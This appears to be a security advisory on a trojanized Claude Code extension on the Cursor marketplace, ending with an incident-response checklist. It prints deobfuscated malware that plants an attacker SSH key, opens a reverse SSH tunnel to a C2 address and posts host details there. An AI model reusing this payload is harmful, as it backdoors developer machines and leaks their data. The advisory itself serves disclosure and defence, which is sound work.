Trojanized Claude Code Extension on Cursor Marketplace Injects Reverse SSH Tunnel Backdoor

In a targeted software supply chain incident, threat actors managed to publish trojanized packages of the official Claude Code developer extension onto the Cursor Extension Marketplace. The compromised versions—tagged 2.1.312 and 2.1.313—contained an embedded payload designed to modify the host developer's SSH authorized keys, establish a persistent reverse tunnel, and harvest local environment telemetry.

The malicious builds were accessible to Cursor IDE users for approximately 11 hours on October 29, 2026, before automated telemetry flags and community disclosures prompted marketplace administrators to remove the tainted packages and release clean build 2.1.314. Anthropic and Microsoft confirmed that the compromise was strictly confined to the third-party Cursor marketplace; official packages distributed through Microsoft's Visual Studio Marketplace, the Open VSX Registry, and npm remained untouched.

Malware Decompilation: The Obfuscated IIFE in extension.js

The attackers injected malicious logic directly at the entry point of the compiled extension bundle (extension.js). Rather than waiting for the developer to execute a specific prompt or trigger an AI command, the routine executed automatically as an Immediately Invoked Function Expression (IIFE) as soon as the Node.js runtime initialized the module:

// Deobfuscated excerpt from compromised extension.js (v2.1.312)
(function() {
  const fs = require('fs');
  const path = require('path');
  const os = require('os');
  const { exec } = require('child_process');

  const C2_HOST = '134.209.82.225';
  const C2_PORT = 443;
  const ATTACKER_KEY = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5z... dev-ops-key';

  try {
    // 1. Inject public key into ~/.ssh/authorized_keys
    const sshDir = path.join(os.homedir(), '.ssh');
    const authKeys = path.join(sshDir, 'authorized_keys');
    if (!fs.existsSync(sshDir)) fs.mkdirSync(sshDir, { mode: 0o700 });
    fs.appendFileSync(authKeys, '\n' + ATTACKER_KEY + '\n', { mode: 0o600 });

    // 2. Spawn reverse SSH tunnel back to adversary infrastructure
    const tunnelCmd = `ssh -N -R 2222:localhost:22 -o StrictHostKeyChecking=no -p ${C2_PORT} relay@${C2_HOST}`;
    exec(tunnelCmd, (err) => { /* background persistence */ });

    // 3. System fingerprint exfiltration via HTTP POST
    const telemetry = {
      user: os.userInfo().username,
      hostname: os.hostname(),
      platform: os.platform(),
      release: os.release()
    };
    require('http').request({
      host: C2_HOST,
      port: 8080,
      path: '/telemetry',
      method: 'POST'
    }).end(JSON.stringify(telemetry));
  } catch (e) {
    // Fail silently to prevent IDE error popups
  }
})();

Execution Dynamics and Platform Behavioral Differences

The malware attempted a multi-stage intrusion that behaved differently across target operating systems:

• Linux Workstations: The payload executed with the highest degree of reliability. If an OpenSSH server daemon was active on the host, appending the key to ~/.ssh/authorized_keys combined with the reverse tunnel provided the adversary with direct, unauthenticated interactive shell access.
• macOS Hosts: While the SSH public key was successfully appended to the local user's authorized_keys file, macOS restricts remote SSH logins unless "Remote Login" is explicitly toggled in System Settings. Consequently, full interactive shell takeover failed on default macOS installations, although the telemetry exfiltration succeeded.
• Windows Systems: The script attempted to write keys into %USERPROFILE%\.ssh\authorized_keys and schedule a startup task. On systems lacking a running OpenSSH service, remote ingress was blocked, but the outbound beacon informed the adversary of an active developer target.

Timeline of the Supply Chain Incident

Incident Response Checklist for Impacted Developers

Developers who ran Cursor with auto-update enabled during the exposure window on October 29 must execute immediate forensic verification:

# 1. Audit your authorized SSH keys for rogue entries
cat ~/.ssh/authorized_keys | grep -v -E "your-known-key-identities"

# 2. Inspect active network connections for connections to the C2 IP
netstat -antp | grep "134.209.82.225"
lsof -i :2222

# 3. Verify installed Claude Code extension version
# Must report v2.1.314 or higher
cursor --list-extensions --show-versions | grep "claude-code"

# 4. Rotate developer credentials
# Because the extension possessed read access to repository workspaces:
- Invalidate GitHub/GitLab personal access tokens and SSH deploy keys
- Rotate local AWS, GCP, and cloud provider IAM credentials
- Regenerate API keys stored in local .env files